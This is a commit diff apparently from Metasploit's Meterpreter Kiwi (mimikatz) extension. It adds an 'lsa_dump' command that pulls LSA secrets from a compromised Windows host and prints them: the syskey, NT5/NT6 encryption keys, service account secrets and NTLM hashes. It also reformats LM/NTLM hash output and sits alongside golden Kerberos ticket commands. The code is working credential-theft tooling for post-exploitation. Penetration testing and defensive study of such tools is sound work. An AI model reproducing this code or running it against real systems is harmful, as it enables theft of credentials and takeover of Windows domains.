Add lsa secret dumps plus other tweaks
parent
e0438f570b
commit
a9758413c0
|
@ -43,6 +43,46 @@ class Kiwi < Extension
|
|||
])
|
||||
end
|
||||
|
||||
def lsa_dump
|
||||
request = Packet.create_request('kiwi_lsa_dump_secrets')
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
result = {
|
||||
:major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
|
||||
:minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
|
||||
:compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
|
||||
:syskey => to_hex_string(response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY)),
|
||||
:nt5key => to_hex_string(response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY)),
|
||||
:nt6keys => [],
|
||||
:secrets => []
|
||||
}
|
||||
|
||||
response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
|
||||
result[:nt6keys] << {
|
||||
:id => to_guid(k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID)),
|
||||
:value => to_hex_string(k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE))
|
||||
}
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
|
||||
r = {
|
||||
:name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
|
||||
:service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
|
||||
:ntlm => to_hex_string(s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM)),
|
||||
:current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
|
||||
:old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD)
|
||||
}
|
||||
|
||||
r[:current] ||= to_hex_dump(s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW))
|
||||
r[:old] ||= to_hex_dump(s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW))
|
||||
|
||||
result[:secrets] << r
|
||||
end
|
||||
|
||||
return result
|
||||
end
|
||||
|
||||
def golden_ticket_use(ticket)
|
||||
request = Packet.create_request('kiwi_golden_ticket_use')
|
||||
request.add_tlv(TLV_TYPE_KIWI_GOLD_TICKET, ticket, false, true)
|
||||
|
@ -73,10 +113,10 @@ class Kiwi < Extension
|
|||
:username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
|
||||
:domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
|
||||
:password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
|
||||
:auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
|
||||
:auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
|
||||
:lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
|
||||
:ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
|
||||
:auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
|
||||
:auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
|
||||
:lm => to_hex_string(r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH)),
|
||||
:ntlm => to_hex_string(r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH))
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -110,6 +150,34 @@ class Kiwi < Extension
|
|||
def kerberos
|
||||
return scrape_passwords(PWD_ID_SEK_KERBEROS)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def to_hex_dump(bytes)
|
||||
return nil unless bytes
|
||||
|
||||
bytes.each_byte.map { |b|
|
||||
b.to_s(16).rjust(2, '0')
|
||||
}.join(' ')
|
||||
end
|
||||
|
||||
def to_hex_string(bytes)
|
||||
return nil unless bytes
|
||||
bytes.unpack('H*')[0]
|
||||
end
|
||||
|
||||
def to_guid(bytes)
|
||||
return nil unless bytes
|
||||
s = bytes.unpack('H*')[0]
|
||||
parts = [
|
||||
s[6, 2] + s[4, 2] + s[2, 2] + s[0, 2],
|
||||
s[10, 2] + s[8, 2],
|
||||
s[14, 2] + s[12, 2],
|
||||
s[16, 4],
|
||||
s[20, 12]
|
||||
]
|
||||
"{#{parts.join('-')}}"
|
||||
end
|
||||
end
|
||||
|
||||
end; end; end; end; end
|
||||
|
|
|
@ -5,21 +5,41 @@ module Meterpreter
|
|||
module Extensions
|
||||
module Kiwi
|
||||
|
||||
TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
|
||||
TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4)
|
||||
TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
|
||||
TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 6)
|
||||
TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 7)
|
||||
TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
|
||||
TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
|
||||
TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
|
||||
TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4)
|
||||
TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
|
||||
TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 6)
|
||||
TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 7)
|
||||
TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
|
||||
TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
|
||||
|
||||
TLV_TYPE_KIWI_GOLD_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
|
||||
TLV_TYPE_KIWI_GOLD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11)
|
||||
TLV_TYPE_KIWI_GOLD_SID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12)
|
||||
TLV_TYPE_KIWI_GOLD_TGT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
|
||||
TLV_TYPE_KIWI_GOLD_TICKET = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 14)
|
||||
TLV_TYPE_KIWI_GOLD_USER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
|
||||
TLV_TYPE_KIWI_GOLD_DOMAIN = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11)
|
||||
TLV_TYPE_KIWI_GOLD_SID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12)
|
||||
TLV_TYPE_KIWI_GOLD_TGT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
|
||||
TLV_TYPE_KIWI_GOLD_TICKET = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 14)
|
||||
|
||||
TLV_TYPE_KIWI_LSA_VER_MAJ = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 15)
|
||||
TLV_TYPE_KIWI_LSA_VER_MIN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 16)
|
||||
TLV_TYPE_KIWI_LSA_COMPNAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 17)
|
||||
TLV_TYPE_KIWI_LSA_SYSKEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 18)
|
||||
TLV_TYPE_KIWI_LSA_KEYCOUNT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 19)
|
||||
TLV_TYPE_KIWI_LSA_KEYID = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 20)
|
||||
TLV_TYPE_KIWI_LSA_KEYIDX = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 21)
|
||||
TLV_TYPE_KIWI_LSA_KEYVALUE = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 22)
|
||||
TLV_TYPE_KIWI_LSA_NT6KEY = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 23)
|
||||
TLV_TYPE_KIWI_LSA_NT5KEY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 24)
|
||||
|
||||
TLV_TYPE_KIWI_LSA_SECRET = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 25)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 26)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_SERV = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 27)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_NTLM = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 28)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_CURR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 29)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 30)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_OLD = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 31)
|
||||
TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 32)
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -45,7 +45,8 @@ class Console::CommandDispatcher::Kiwi
|
|||
"creds_kerberos" => "Attempt to retrieve Kerberos creds",
|
||||
"creds_all" => "Attempt to retrieve all credentials",
|
||||
"golden_ticket_create" => "Attempt to create a golden kerberos ticket",
|
||||
"golden_ticket_use" => "Attempt to use a golden kerberos ticket"
|
||||
"golden_ticket_use" => "Attempt to use a golden kerberos ticket",
|
||||
"lsa_dump" => "Attempt to dump LSA secrets"
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -79,6 +80,45 @@ class Console::CommandDispatcher::Kiwi
|
|||
return true
|
||||
end
|
||||
|
||||
def cmd_lsa_dump(*args)
|
||||
get_privs
|
||||
|
||||
print_status("Dumping LSA secrets")
|
||||
lsa = client.kiwi.lsa_dump
|
||||
|
||||
# the format of this data doesn't really lend itself nicely to
|
||||
# use within a table so instead we'll dump in a linear fashion
|
||||
|
||||
print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
|
||||
print_line("Domain/Computer : #{lsa[:compname]}") if lsa[:compname]
|
||||
print_line("System Key : #{lsa[:syskey]}") if lsa[:syskey]
|
||||
print_line("NT5 Key : #{lsa[:nt5key]}") if lsa[:nt5key]
|
||||
print_line
|
||||
print_line("NT6 Key Count : #{lsa[:nt6keys].length}")
|
||||
|
||||
if lsa[:nt6keys].length > 0
|
||||
print_line
|
||||
lsa[:nt6keys].to_enum.with_index(1) do |k, i|
|
||||
print_line("#{i.to_s.rjust(2, ' ')}. ID : #{k[:id]}")
|
||||
print_line("#{i.to_s.rjust(2, ' ')}. Value : #{k[:value]}")
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line("Secret Count : #{lsa[:secrets].length}")
|
||||
if lsa[:secrets].length > 0
|
||||
lsa[:secrets].to_enum.with_index(1) do |s, i|
|
||||
print_line
|
||||
print_line("#{i.to_s.rjust(2, ' ')}. Name : #{s[:name]}")
|
||||
print_line("#{i.to_s.rjust(2, ' ')}. Service : #{s[:service]}") if s[:service]
|
||||
print_line("#{i.to_s.rjust(2, ' ')}. NTLM : #{s[:ntlm]}") if s[:ntlm]
|
||||
print_line("#{i.to_s.rjust(2, ' ')}. Current : #{s[:current]}") if s[:current]
|
||||
print_line("#{i.to_s.rjust(2, ' ')}. Old : #{s[:old]}") if s[:old]
|
||||
end
|
||||
end
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_golden_ticket_create(*args)
|
||||
if args.length != 5
|
||||
print_line("Usage: golden_ticket_create user domain sid tgt ticketpath")
|
||||
|
|
Loading…
Reference in New Issue